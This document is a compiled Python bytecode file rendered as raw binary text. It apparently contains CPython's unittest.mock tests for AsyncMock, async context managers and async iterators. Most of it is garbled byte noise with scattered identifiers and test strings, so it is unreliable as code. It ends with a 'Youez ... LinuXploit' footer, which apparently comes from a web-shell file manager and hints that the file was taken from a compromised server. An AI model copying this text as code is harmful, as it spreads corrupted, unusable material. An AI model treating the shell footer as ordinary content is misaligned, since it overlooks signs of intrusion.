A2�A�A2�A/�A!�A/�+A2r#N)r2r3r4r5r!r�r8rrr�ProductionCoder!ps��	 �	rr,c�^�U4Sjn[[4H(nTRSU35 U"U5 SSS5 M* g!,(df   M<=f)Nc�.>�TR5n[SS9UlU"SS9n[SS9n[SS0S9UlX2R
lX!RRl[UR55nTRUSS05 g)N�sessionmock��name�magic_cmr)r(�{r�)r,r
r$rr(r�r�r'rr�r�)r#�pcr�r)r�r s     �rr$�KAsyncContextManagerTest.test_set_return_value_of_aenter.<locals>.inner_test{s|����$�$�&�B�"�
�6�B�J��
�+�B� �j�1�H�%�F�C�=�A�H�M�)1�M�M�&�+-�J�J�O�O�(������^�F����V�f�c�]�3rz%test set return value of aenter with r&r(s`  r�test_set_return_value_of_aenter�7AsyncContextManagerTest.test_set_return_value_of_aenterzsE���		4�$�Y�/�I���� E�i�[�Q�R��9�%�S�R�0�R�R�r+c�^�U4Sjn[[4H(nTRSU35 U"U5 SSS5 M* g!,(df   M<=f)Nc�>^^�SmTR5nU"U5mUU4Sjn[U"55nTRT5 TRTRR5 TRTR
R5 TRR
5 TR
R
5 TRTU5 g)NFc��># �TIShv�NnSmSSS5IShv�N U$NN!,IShv�N(df   W$=f7fr�r)r��called�cm_mocks ��r�use_context_manager�qAsyncContextManagerTest.test_mock_supports_async_context_manager.<locals>.inner_test.<locals>.use_context_manager�s.����"�7�f�!�F�#�7��
�#�7�7�7��
�s6�A�#�A�'�A�%�A�A�?�0�?�A)rrr\r�r;r�r��assertIsNot)r#r�r=�	cm_resultr;r<r s    @@�rr$�TAsyncContextManagerTest.test_mock_supports_async_context_manager.<locals>.inner_test�s�����F��-�-�/�B���m�G�
��/�1�2�I��O�O�F�#��O�O�G�.�.�5�5�6��O�O�G�-�-�4�4�5����-�-�/����,�,�.����W�i�0rz!test context manager magics with r&r(s`  r�(test_mock_supports_async_context_manager�@AsyncContextManagerTest.test_mock_supports_async_context_manager�sE���	1�($�Y�/�I���� A�)��M�N��9�%�O�N�0�N�N�r+c�^�UR5n[U5m[5nUTRlU4SjnUR[
U"55U5 g)Nc��># �TIShv�NnUsSSS5IShv�N $NN!,IShv�N(df   g=f7frr)r��
mock_instances �rr=�^AsyncContextManagerTest.test_mock_customize_async_context_manager.<locals>.use_context_manager�s����$�}���%�}�}�}�}�}�s6�A�"�A�&�A�$�A�A�=�/�=�A)rr
rbr�r�r�r)r r��expected_resultr=rFs    @r�)test_mock_customize_async_context_manager�AAsyncContextManagerTest.test_mock_customize_async_context_manager�sN����/�/�1��!�(�+�
� �(��0?�
� � �-�	�	
�
�
�c�-�/�0�/�Brc��^^^�SmSmU4SjnU4SjnUR5n[U5mUTlUTlU4Sjn[	U"55 URT5 URT5 g)NFc��># �Smg7fr�r)r�enter_calleds �r�enter_coroutine�iAsyncContextManagerTest.test_mock_customize_async_context_manager_with_coroutine.<locals>.enter_coroutine�s�����L���c��># �Smg7fr�r)r�exit_calleds �r�exit_coroutine�hAsyncContextManagerTest.test_mock_customize_async_context_manager_with_coroutine.<locals>.exit_coroutine�s�����K�rPc��># �TIShv�N SSS5IShv�N gNN!,IShv�N(df   g=f7frr)rFs�rr=�mAsyncContextManagerTest.test_mock_customize_async_context_manager_with_coroutine.<locals>.use_context_manager�s����$�}��%�}�}�}�}�}�s0�?�!�?�%�?�#�?�?�<�.�<�?)rr
r�r�rr\)r rNrSr�r=rMrRrFs     @@@r�8test_mock_customize_async_context_manager_with_coroutine�PAsyncContextManagerTest.test_mock_customize_async_context_manager_with_coroutine�sl�������	 �	��/�/�1��!�(�+�
�#2�
� �"0�
��	�	��!�"�����%�����$rc��SnUR5n[U5nUR[5 [	U"U55 SSS5 g!,(df   g=f)Nc��l# �UIShv�N [5eN!,IShv�N(df   g=f7fr)r)�context_managers r�raise_in�YAsyncContextManagerTest.test_context_manager_raise_exception_by_default.<locals>.raise_in�s���&���k�!�'����s$�4��4��4�1�#�1�4)rr
r�rr)r r\r�rFs    r�/test_context_manager_raise_exception_by_default�GAsyncContextManagerTest.test_context_manager_raise_exception_by_default�sH��	"��/�/�1��!�(�+�
�
�
�
�y�
)����'�(�*�
)�
)�s�A�
ArN)
r2r3r4r5rrr,r6rBrIrWr^r8rrrrrds:��9�9�
2�2�
��&� &�4C�%�4)rrc�<�\rSrSr"SS\5rSrSrSrSr	g)	�AsyncIteratorTesti�c�&�\rSrSrSrSrSrSrg)�#AsyncIteratorTest.WithAsyncIteratori�c��/SQUlg)N)r��	NormalFoo�baz��itemsrs rr!�,AsyncIteratorTest.WithAsyncIterator.__init__�s	��4�D�Jrc��grrrs rr��-AsyncIteratorTest.WithAsyncIterator.__aiter__�r*rc��# �g7frrrs rr��-AsyncIteratorTest.WithAsyncIterator.__anext__�s���4�r&rgN)r2r3r4r5r!r�r�r8rrr�WithAsyncIteratorrc�s��	5�	"�'rrnc�^�[SS9m/SQTRlU4Sjn[U"55nUR	U/SQ5 g)N�testerr0r�c��F># �TVs/sShv�NoPMN
sn$s snf7frr)�i�	mock_iters �rr��;AsyncIteratorTest.test_aiter_set_return_value.<locals>.main�s����%.�/�/��A�/�/��/�s$�!���
�����!)rr�r�rr�)r r�r�rss   @r�test_aiter_set_return_value�-AsyncIteratorTest.test_aiter_set_return_value�s;����8�,�	�+4�	���(�	0��T�V��������+rc�^�U4Sjn[[4H(nTRSU35 U"U5 SSS5 M* g!,(df   M<=f)Nc�V>�TR5nU"U5nTR[UR55 TR[UR55 TR	[UR
55 TR	[UR
55 gr)rnrcrr�r\r�)r#r�rFr s   �rr$�IAsyncIteratorTest.test_mock_aiter_and_anext_asyncmock.<locals>.inner_test�s�����-�-�/�H�%�h�/�M�
���0��1C�1C�D�E����0��1H�1H�I�J��O�O�/��0B�0B�C�D��O�O�/�
�0G�0G�H�Irz%test aiter and anext corourtine with r&r(s`  r�#test_mock_aiter_and_anext_asyncmock�5AsyncIteratorTest.test_mock_aiter_and_anext_asyncmock�sF���		J�$�Y�/�I���� E�i�[�Q�R��9�%�S�R�0�R�R�r+c�^^^�Sm/SQmUU4SjnUUU4SjnUUU4Sjn[[4HrnTRSU35 U"U5 SSS5 TRSU35 U"U5 SSS5 TRSU35 U"U5 SSS5 Mt g!,(df   N]=f!,(df   NI=f!,(df   M�=f)	Nc��T# �/nUShv�NnURU5 MN
U$7fr)�append)�iterator�accumulatorr�s   r�iterate�6AsyncIteratorTest.test_mock_async_for.<locals>.iterate�s1����K�&�
)�d��"�"�4�(�
)�h���s�(�%�#�%�(�%�()�FOO�BAR�BAZc�t>�U"TR55nTR[T"U55/5 gr)rnr�r)r#rFr�r s  ��r�test_default�;AsyncIteratorTest.test_mock_async_for.<locals>.test_defaults0���%�d�&<�&<�&>�?�M����S���!7�8�"�=rc�>�U"TR55nTSSURlTR[	T"U55T5 gr)rnr�r�r�r�r#rF�expectedr�r s  ���r�test_set_return_value�DAsyncIteratorTest.test_mock_async_for.<locals>.test_set_return_valuesB���%�d�&<�&<�&>�?�M�3;�A�;�M�#�#�0����S���!7�8�(�Crc�>�U"TR55n[TSS5URlTR	[T"U55T5 gr)rn�iterr�r�r�rr�s  ���r�test_set_return_value_iter�IAsyncIteratorTest.test_mock_async_for.<locals>.test_set_return_value_itersG���%�d�&<�&<�&>�?�M�37����3D�M�#�#�0����S���!7�8�(�Crzdefault value with zset return_value with zset return_value iterator with r&)r r�r�r�r#r�r�s`    @@r�test_mock_async_for�%AsyncIteratorTest.test_mock_async_for�s����	�)��	>�
	D�
	D�
$�Y�/�I���� 3�I�;�?�@��Y�'�A���� 6�y�k�B�C�%�i�0�D���� ?�	�{�K�L�*�9�5�M�L�0�@�@��D�C��M�L�s$�	B%�*	B6�	C�%
B3	�6
C	�
C	rN)
r2r3r4r5rbrnrurzr�r8rrrrara�s��(�F�(�,�&�" 6rrac��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrg)�AsyncMockAssertic�"�[5Ulgr)rr�rs r�setUp�AsyncMockAssert.setUps���K��	rc��D# �UR"U0UD6IShv�N gN7fr�r�rs   r�_runnable_test�AsyncMockAssert._runnable_tests����i�i��(��(�(�(�s� �� c��"# �UIShv�N$N7frr)r �	coroutines  r�_await_coroutine� AsyncMockAssert._await_coroutine"s�������s��
�c��[[5n[U5 UR5 SSS5 UR	[UR55 URR
5 URR5 URR5 UR[5 UR5 SSS5 UR[5 URR5 SSS5 g!,(df   N�=f!,(df   NX=f!,(df   g=fr)rrrVr$r\r�
assert_called�assert_called_once�assert_called_once_withr�rr�r�s  r�"test_assert_called_but_not_awaited�2AsyncMockAssert.test_assert_called_but_not_awaited%s�����$��
��
%�����&����+�D�,=�,=�>�?����'�'�)����,�,�.����1�1�3�
�
�
�~�
.����!�/�
�
�
�~�
.����,�,�.�/�
.�&�
%��/�
.��
.�
.�s#�D
�;D�)D/�
D�
D,�/
D=c�t�[[5nUR5nURR5 URR	5 URR5 UR
[5 URR5 SSS5 [URU55 URR	5 URR5 URR5 URR5 g!,(df   N�=fr)
rrr$r�r�r�r�rr�rr�rr	)r r��mock_coroutines   r�test_assert_called_then_awaited�/AsyncMockAssert.test_assert_called_then_awaited2s�����$���*�*�,�����'�'�)����,�,�.����1�1�3�
�
�
�~�
.����,�,�.�/�	�D�!�!�.�1�2����,�,�.����(�(�*����-�-�/����2�2�4�/�
.�s�D)�)
D7c���UR[5 URR5 SSS5 UR[5 URR	5 SSS5 [UR
55 URR5 URR5 g!,(df   N�=f!,(df   Nm=fr)	r�rr�r�r�rr�r�rrs r�+test_assert_called_and_awaited_at_same_time�;AsyncMockAssert.test_assert_called_and_awaited_at_same_timeBs���
�
�
�~�
.��I�I�$�$�&�/��
�
�~�
.��I�I�#�#�%�/�	�D���!�"��	�	�$�$�&��	�	�%�%�'�/�
.��/�
.�s�B?�C�?
C
�
Cc��[[5nUR5n[U5 UR5 SSS5 UR	[
5 URR
5 SSS5 URR5 [URU55 URR
5 URR5 g!,(df   N�=f!,(df   N�=fr)rrr$rVr�rr�r�rr�r�r r�r�s   r�)test_assert_called_twice_and_awaited_once�9AsyncMockAssert.test_assert_called_twice_and_awaited_onceMs�����$���%�%�'�	� ��
%�����&�
�
�
�~�
.����,�,�.�/����'�'�)��D�!�!�)�,�-����(�(�*����-�-�/�&�
%��
.�
.�s�C%�C6�%
C3�6
Dc�p�[[5nUR5nURR5 [	URU55 UR
[5 [	URU55 SSS5 URR5 g!,(df   N)=fr)	rrr$r�rr�r�r�r�r�s   r�)test_assert_called_once_and_awaited_twice�9AsyncMockAssert.test_assert_called_once_and_awaited_twice[s�����$���%�%�'�	����,�,�.��D�!�!�)�,�-�
�
�
�|�
,���%�%�i�0�1�-�	
���(�(�*�-�
,�s�)B'�'
B5c���UR[5 URR5 SSS5 UR[5 URR	5 SSS5 UR[
5 [
URUR55 SSS5 UR[5 URR5 SSS5 UR[5 URR	5 SSS5 g!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   Nz=f!,(df   g=fr)r�rr�r�r�rrr�rs r�"test_assert_awaited_but_not_called�2AsyncMockAssert.test_assert_awaited_but_not_calledes���
�
�
�~�
.��I�I�$�$�&�/�
�
�
�~�
.��I�I�#�#�%�/�
�
�
�y�
)���%�%�d�i�i�0�1�*��
�
�~�
.��I�I�$�$�&�/�
�
�
�~�
.��I�I�#�#�%�/�
.�/�
.��
.�
.��
)�
)��/�
.��
.�
.�s;�D$�D5�%E�E�E(�$
D2�5
E�
E�
E%�(
E6c�R�[S5/n[U5 URS5 SSS5 URRU5 UR	[
5 URR
U5 SSS5 g!,(df   Nc=f!,(df   g=f�Nr�)r
rVr��assert_has_callsr�rr�)r �kallss  r� test_assert_has_calls_not_awaits�0AsyncMockAssert.test_assert_has_calls_not_awaitsssr���e��
��
��
%��I�I�e��&��	�	�"�"�5�)�
�
�
�~�
.��I�I�'�'��.�/�
.�&�
%��/�
.�s�B�"B�
B�
B&c�(�[U5 UR5 SSS5 SS04/nURURRU5 [U5 URS5 SSS5 [U5 URS5 SSS5 [	5[	S5[	S5/nURURRU5 g!,(df   N�=f!,(df   N�=f!,(df   Nv=f)N�rr�rf)rVr�r�rr
)r �kalls_empty�
mock_kallss   r�0test_assert_has_mock_calls_on_async_mock_no_spec�@AsyncMockAssert.test_assert_has_mock_calls_on_async_mock_no_spec{s���
��
%��I�I�K�&��B��|�n��������-�-�{�;�
��
%��I�I�e��&�
��
%��I�I�e��&��v�t�E�{�D��K�8�
�������-�-�z�:�&�
%��
&�
%��
%�
%�s#�C!�C2�D�!
C/�2
D�
Dc	���[[5n[U5 UR5 SSS5 SS04/nUR	URR
U5 UR	UR
[R"5/5 [U5 URSSSSSS9 SSS5 [
5[
SSSSSS9/n[R"5[R"SSSSSS9/nUR	URR
U5 UR	UR
U5 g!,(df   GN=f!,(df   N�=f)	Nr�rr�r�r��r�)rCrD)rrrVr$r�rr
)r �a_class_mockr��method_kallsr�s     r�2test_assert_has_mock_calls_on_async_mock_with_spec�BAsyncMockAssert.test_assert_has_mock_calls_on_async_mock_with_spec�s�� ��,��
��
%��%�%�'�&��B��|�n������2�2�=�=�{�K�����0�0�4�3D�3D�3F�2G�H�
��
%��%�%�a��A��a�%�8�&����Q��1��Q� 7�8���'�'�)�4�+<�+<�Q��1��Q�+O�P�
�����2�2�=�=�|�L�����0�0�*�=�&�
%��&�
%�s�D>�E�>
E
�
Ec�<�[U5 URRSSS9 SSS5 [U5 URRRS[R
S9 SSS5 UR
URRSSSS04SS	S
[R
04/S5 UR
URRRSS	S
[R
04/S5 g!,(df   N�=f!,(df   N�=f)Nr�)�fishr�)�cake�	something)r�r�zsomething_else.something)r�r�z#method calls not recorded correctly)rVr�r��something_elser�Caker��method_callsrs r� test_async_method_calls_recorded�0AsyncMockAssert.test_async_method_calls_recorded�s���
��
%��I�I������-�&�
��
%��I�I�$�$�.�.�q�x�}�}�.�E�&�	
������/�/�
�$����/�
'����
�
�/F�G�2
�
2�		3�
	
������1�1�>�>�&��v�x�}�}�.E�F�G�>�	@�&�
%��
%�
%�s�C<�3D
�<
D
�
Dc��^�U4SjnU"TR5 [T5 TR5 SSS5 [T5 TRSS5 SSS5 [T5 TRSS9 SSS5 TRR5 U"TR5 [[5n[T5 UR5 SSS5 [T5 URSSS9 SSS5 UR5 U"U5 g!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   N~=f!,(df   Nk=f)Nc�>�SnUHLn[X5nTRU[5 TRU[5 TR	U/5 MN g)N)r�r�r)�getattrrxr�listr�)r��namesr1�attrr s    �r�assert_attrs�:AsyncMockAssert.test_async_arg_lists.<locals>.assert_attrs�sL���D�E����t�*���%�%�d�I�6��%�%�d�D�1�� � ��r�*�	rr�r�r�)rC)r�rVrrrr$)r r�rs`  r�test_async_arg_lists�$AsyncMockAssert.test_async_arg_lists�s����	+�	�T�Y�Y��
��
%��I�I�K�&�
��
%��I�I�a��O�&�
��
%��I�I��I�N�&�	
�	�	�����T�Y�Y���:�&��
��
%����!�&�
��
%�����Q��'�&�	�����V��#&�
%��
%�
%��
%�
%��&�
%��
%�
%�s;�D#�	D4�/E�
E�1E'�#
D1�4
E�
E�
E$�'
E5c��UR[5 URR5 SSS5 [	UR55 URR5 g!,(df   NB=fr)r�rr�r�rr�rs r�test_assert_awaited�#AsyncMockAssert.test_assert_awaited�sQ��
�
�
�~�
.��I�I�$�$�&�/�	�D���!�"��	�	� � �"�	/�
.�s�A-�-
A;c��UR[5 URR5 SSS5 [	UR55 URR5 [	UR55 UR[5 URR5 SSS5 g!,(df   N�=f!,(df   g=fr)r�rr�rrr�rs r�test_assert_awaited_once�(AsyncMockAssert.test_assert_awaited_once�s���
�
�
�~�
.��I�I�)�)�+�/�	�D���!�"��	�	�%�%�'��D���!�"�
�
�
�~�
.��I�I�)�)�+�/�
.�/�
.��/�
.�s�B>�C�>
C�
Cc��SnUR[U5 URRS5 SSS5 [	UR55 SnUR[U5 URRS5 SSS5 [	URS55 URRS5 [	URS55 UR
[5 URRS5 SSS5 g!,(df   N�=f!,(df   N�=f!,(df   g=f)NzNot awaitedr�zexpected await not found�
SomethingElse)r�rr�r
rr�r�)r �msgs  r�test_assert_awaited_with�(AsyncMockAssert.test_assert_awaited_with�s�����
�
#�
#�N�C�
8��I�I�)�)�%�0�9�	�D���!�"�(��
�
#�
#�N�C�
8��I�I�)�)�%�0�9�	�D����&�'��	�	�%�%�e�,��D����0�1�
�
�
�~�
.��I�I�)�)�%�0�/�
.�9�
8��
9�
8��/�
.�s#�D�.D,�6D=�
D)�,
D:�=
Ec���UR[5 URRS5 SSS5 [	URS55 URRS5 [	URS55 UR[5 URRS5 SSS5 g!,(df   N�=f!,(df   g=fr�)r�rr�r	rr�rs r�test_assert_awaited_once_with�-AsyncMockAssert.test_assert_awaited_once_with�s���
�
�
�~�
.��I�I�.�.�u�5�/�	�D����&�'��	�	�*�*�5�1��D����&�'�
�
�
�~�
.��I�I�.�.�u�5�/�
.�/�
.��/�
.�s�C�C�
C�
C"c�4�UR[5 URRS5 SSS5 [	URS55 UR[5 URRS5 SSS5 [	URS55 URRS5 [	URS55 URRS5 g!,(df   N�=f!,(df   N�=f)Nr�rfr�)r�rr�rrr�rs r�test_assert_any_wait�$AsyncMockAssert.test_assert_any_wait�s���
�
�
�~�
.��I�I�&�&�u�-�/�	�D����&�'�
�
�
�~�
.��I�I�&�&�u�-�/�	�D����&�'��	�	�"�"�5�)��D����0�1��	�	�"�"�5�)�/�
.��/�
.�s�C8�)D	�8
D�	
Dc��[S5[S5/nUR[5nURR	U5 SSS5 UR[
WRR5S5 [URS55 UR[5 URR	U5 SSS5 [URS55 UR[5 URR	U5 SSS5 [URS55 URR	U5 [URS55 URR	U5 g!,(df   GNO=f!,(df   N�=f!,(df   N�=f)Nr�rfr�r�)r
r�rr�r�r��len�	exceptionrrr�)r �callsr�s   r�test_assert_has_awaits_no_order�/AsyncMockAssert.test_assert_has_awaits_no_order�s3���e��d�5�k�*��
�
�
�~�
.�"��I�I�'�'��.�/�����R�\�\�.�.�/��3��D����&�'�
�
�
�~�
.��I�I�'�'��.�/�	�D����&�'�
�
�
�~�
.��I�I�'�'��.�/�	�D����&�'��	�	�#�#�E�*��D����0�1��	�	�#�#�E�*�!/�
.��
/�
.��/�
.�s#�F�.F"�F3�
F�"
F0�3
Gc�,�"SS5n[URU"5S55 URR[	[
S5/5 URR
[
S5 URR[
S5 g)Nc��\rSrSrSrSrg)�9AsyncMockAssert.test_awaits_asserts_with_any.<locals>.Fooic��grr�r �others  r�__eq__�@AsyncMockAssert.test_awaits_asserts_with_any.<locals>.Foo.__eq__���TrrN�r2r3r4r5r�r8rrr�Foor����)rr�r�)rr�r�r�r
r	r
r)r r�s  r�test_awaits_asserts_with_any�,AsyncMockAssert.test_awaits_asserts_with_anysg��	*�	*�	�D�����q�)�*��	�	�#�#�T�#�q�\�N�3��	�	�%�%�c�1�-��	�	�"�"�3��*rc�^�"SS5n[US9mU4Sjn[U"U"5S55 TR[[S5/5 TR[S5 TR
[S5 g)Nc��\rSrSrSrSrg)�BAsyncMockAssert.test_awaits_asserts_with_spec_and_any.<locals>.Fooic��grrr�s  rr��IAsyncMockAssert.test_awaits_asserts_with_spec_and_any.<locals>.Foo.__eq__ r�rrNr�rrrr�rr�rr�rAc��,># �T"U6IShv�N gN7frr)r�mock_with_specs �r�_custom_mock_runnable_test�YAsyncMockAssert.test_awaits_asserts_with_spec_and_any.<locals>._custom_mock_runnable_test$s���� �$�'�'�'�s�	��r�)rrr�r
r	r
r)r r�r	rs   @r�%test_awaits_asserts_with_spec_and_any�5AsyncMockAssert.test_awaits_asserts_with_spec_and_anysh���	*�	*�#��,��	(�	�&�s�u�a�0�1��(�(�$�s�A�,��8��*�*�3��2��'�'��Q�/rc� �[S5[S5/nUR[5 URR	USS9 SSS5 [UR
S55 UR[5 URR	USS9 SSS5 [UR
S55 UR[5 URR	USS9 SSS5 [UR
S55 URR	USS9 [UR
S55 URR	USS9 g!,(df   GN=f!,(df   N�=f!,(df   N�=f)Nr�rfT)�	any_order�bamf�qux)r
r�rr�r�rr�)r r�s  r�test_assert_has_awaits_ordered�.AsyncMockAssert.test_assert_has_awaits_ordered,s-���e��d�5�k�*��
�
�
�~�
.��I�I�'�'���'�>�/�	�D����&�'�
�
�
�~�
.��I�I�'�'���'�>�/�	�D����'�(�
�
�
�~�
.��I�I�'�'���'�>�/�	�D����&�'��	�	�#�#�E�T�#�:��D����&�'��	�	�#�#�E�T�#�:�/�
.��/�
.��/�
.�s#�E�>E.�E?�
E+�.
E<�?
F
c��URR5 [UR55 UR	[
5 URR5 SSS5 g!,(df   g=fr)r�rrr�r�rrs r�test_assert_not_awaited�'AsyncMockAssert.test_assert_not_awaited?sM���	�	�$�$�&��D���!�"�
�
�
�~�
.��I�I�(�(�*�/�
.�
.�s�	A-�-
A;c���SSjn[US9Ul[URS55 UR	[
SR
[R"S555nURR[5/5 SSS5 URWRR5 UR	[
SR
[R"S555nURR[5[SS5/5 SSS5 URURR[5 g!,(df   N�=f!,(df   NJ=f)	Nc��# �g7frrr�s r�f�IAsyncMockAssert.test_assert_has_awaits_not_matching_spec_error.<locals>.fGs���T�r&rAr�z^{}$z6Awaits not found.
Expected: [call()]
Actual: [call(1)]z�Error processing expected awaits.
Errors: [None, TypeError('too many positional arguments')]
Expected: [call(), call(1, 2)]
Actual: [call(1)]r�r)rr�rr�r�r�format�re�escaper�r
rr��	__cause__rxr)r rr�s   r�.test_assert_has_awaits_not_matching_spec_error�>AsyncMockAssert.test_assert_has_awaits_not_matching_spec_errorFs��!��1�%��	��D����"�#�
�
#�
#���
�
��I�I�2�3�4�5�
9;��I�I�'�'����1�
5�	
���"�,�,�0�0�1�
�
#�
#���
�
��I�I�,�-�.�/�35��I�I�'�'����a���(<�=�/�	
���b�l�l�4�4�i�@�'5�5��/�/�s�'%E�20E&�
E#�&
E4r�N)r2r3r4r5r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrr8rrrr�r�s��� �)��/�5� 	(�0�+�&�/�;�
>�
@��:#�	,�1�"	6�*�+�*+�0�;�&+�Arr��__main__)1rrSrir�unittest�
contextlibrrUr�requires_working_socketrrr�
unittest.mockr	r
rrr
rrrrrrrr:rArFrIrbrLr2rrrtrV�TestCaserXr�r�r�r rxr�r�rrar�r�rrr�<module>r&s����	��	��%�����t�,�,�,�G�G�G�(�	*�	*����+���&���:�[�)���J�l�+������:A�h�/�/�:A�z/�x�(�(�/�d4�H�%�%�4�Bd��)�)�d�Ns+�H�%�%�s+�l1�x�(�(�1�8wH�,�wH�t$?��)�)�$?�Lo)�h�/�/�o)�dB6��)�)�B6�JDA�h�'�'�DA�N
�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit